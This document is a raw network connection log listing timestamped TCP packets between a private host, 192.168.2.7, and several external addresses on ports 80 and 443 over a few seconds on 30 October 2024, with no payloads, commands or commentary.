Oct 30, 2024 11:46:58.024007082 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.024013996 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.024055958 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.024055958 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.026773930 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.026818037 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.026829004 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.026854992 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.026854992 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.026890993 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.026902914 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.026932001 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.026932001 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.026949883 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.026962042 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.026973009 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.026982069 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027023077 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027023077 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027077913 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027113914 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027124882 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027124882 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027163029 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027163029 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027180910 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027250051 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027251005 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027261972 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027272940 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027307987 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027307987 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027318954 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027365923 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027378082 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:58.027404070 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027405024 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.027424097 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:58.821379900 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:58.821458101 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:58.821511030 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:58.822719097 CET	58202	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:58.822732925 CET	443	58202	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:58.972590923 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:58.972652912 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:58.972707987 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:58.973043919 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:58.973053932 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:59.596405029 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:59.596471071 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:59.646505117 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:59.646533012 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:59.647401094 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:59.650156975 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:59.650190115 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:59.650316000 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:00.104346991 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:00.104612112 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:00.104665995 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:00.231319904 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:00.231358051 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:00.231374025 CET	58203	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:00.231381893 CET	443	58203	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:00.395432949 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:00.401010990 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:00.401087999 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:00.457351923 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:00.457757950 CET	58198	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:47:00.458024979 CET	58205	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:47:00.462737083 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:00.463498116 CET	80	58198	185.215.113.43	192.168.2.7
Oct 30, 2024 11:47:00.463556051 CET	58198	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:47:00.463644028 CET	80	58205	185.215.113.43	192.168.2.7
Oct 30, 2024 11:47:00.463705063 CET	58205	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:47:00.475955009 CET	58205	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:47:00.481334925 CET	80	58205	185.215.113.43	192.168.2.7
Oct 30, 2024 11:47:00.531219006 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:00.531249046 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:00.531362057 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:00.532416105 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:00.532429934 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:00.787081003 CET	58201	80	192.168.2.7	185.215.113.206
Oct 30, 2024 11:47:01.143670082 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.143765926 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.145992994 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.146001101 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.146198988 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.189574957 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.189630032 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.189659119 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.308691025 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308712959 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308728933 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308782101 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.308804989 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308824062 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308840036 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308855057 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308859110 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.308871031 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308878899 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.308888912 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308903933 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.308911085 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.308942080 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.314330101 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.314346075 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.314364910 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.314389944 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.375617027 CET	80	58205	185.215.113.43	192.168.2.7
Oct 30, 2024 11:47:01.378149033 CET	58205	80	192.168.2.7	185.215.113.43
Oct 30, 2024 11:47:01.413657904 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.413921118 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.419219017 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.419347048 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.419390917 CET	80	58200	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.419430971 CET	58200	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.419553041 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.424854994 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.439532042 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.467034101 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.467092991 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.467103958 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.467112064 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.467163086 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.467299938 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.467360020 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.467370033 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.467381001 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.467402935 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.467437983 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.468096972 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.468238115 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.468274117 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.469150066 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469239950 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469252110 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469263077 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469274998 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469286919 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.469286919 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469329119 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.469352007 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.469660044 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469762087 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469774008 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469811916 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.469841957 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.469888926 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.470451117 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.470462084 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.470473051 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.470498085 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.472532988 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.475472927 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.625148058 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625163078 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625200987 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625207901 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.625264883 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625276089 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625287056 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625297070 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.625334024 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.625600100 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625648022 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625658035 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625680923 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.625703096 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.625720978 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.626146078 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.626157999 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.626163960 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.626187086 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.626199007 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.626210928 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.626214027 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.626261950 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.626952887 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627007008 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627018929 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627052069 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.627063036 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627075911 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627104044 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.627674103 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627686024 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627697945 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627724886 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.627758980 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.627763033 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627775908 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627788067 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.627808094 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.628515005 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.628540993 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.628552914 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.628563881 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.628587008 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.628658056 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.628670931 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.628681898 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.628705025 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.629508018 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.629519939 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.629532099 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.629576921 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.629615068 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.629636049 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.629647970 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.629658937 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.629688025 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.630203009 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.630249023 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.630251884 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.630270958 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.630306005 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.630362034 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.630374908 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.630386114 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.630424023 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.631062984 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.631112099 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.631141901 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.752027988 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.783567905 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783593893 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783615112 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783627987 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783639908 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783639908 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.783653021 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783659935 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.783668041 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783680916 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783695936 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783695936 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.783716917 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783719063 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.783759117 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783770084 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783782005 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783783913 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.783817053 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.783824921 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783869982 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783880949 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783936977 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783947945 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783961058 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.783962965 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.783962965 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784022093 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784225941 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784238100 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784257889 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784267902 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784279108 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784291983 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784326077 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784326077 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784326077 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784332991 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784348011 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784387112 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784532070 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784543991 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784554958 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784571886 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784600973 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784603119 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784614086 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784629107 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784641981 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784655094 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784681082 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784828901 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784847975 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784859896 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784897089 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784914970 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784928083 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784939051 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.784960032 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.784986973 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.785012960 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785026073 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785037041 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785048008 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785059929 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.785089970 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.785279989 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785293102 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785303116 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785326958 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.785418034 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785430908 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785444021 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785468102 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.785500050 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.785511017 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785525084 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.785562038 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.882993937 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.883290052 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.883400917 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.883507013 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.883522987 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.883562088 CET	58206	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:01.883572102 CET	443	58206	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:01.900223970 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900269985 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900310040 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900346041 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900357962 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.900429964 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.900512934 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900551081 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900605917 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900623083 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.900654078 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900686979 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900698900 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900708914 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.900712013 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900723934 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900732994 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.900736094 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900748968 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.900763988 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.900785923 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.900960922 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901053905 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901067019 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901077986 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901082993 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901096106 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901102066 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:01.901103020 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:01.901108980 CET	80	58204	185.215.113.16	192.168.2.7
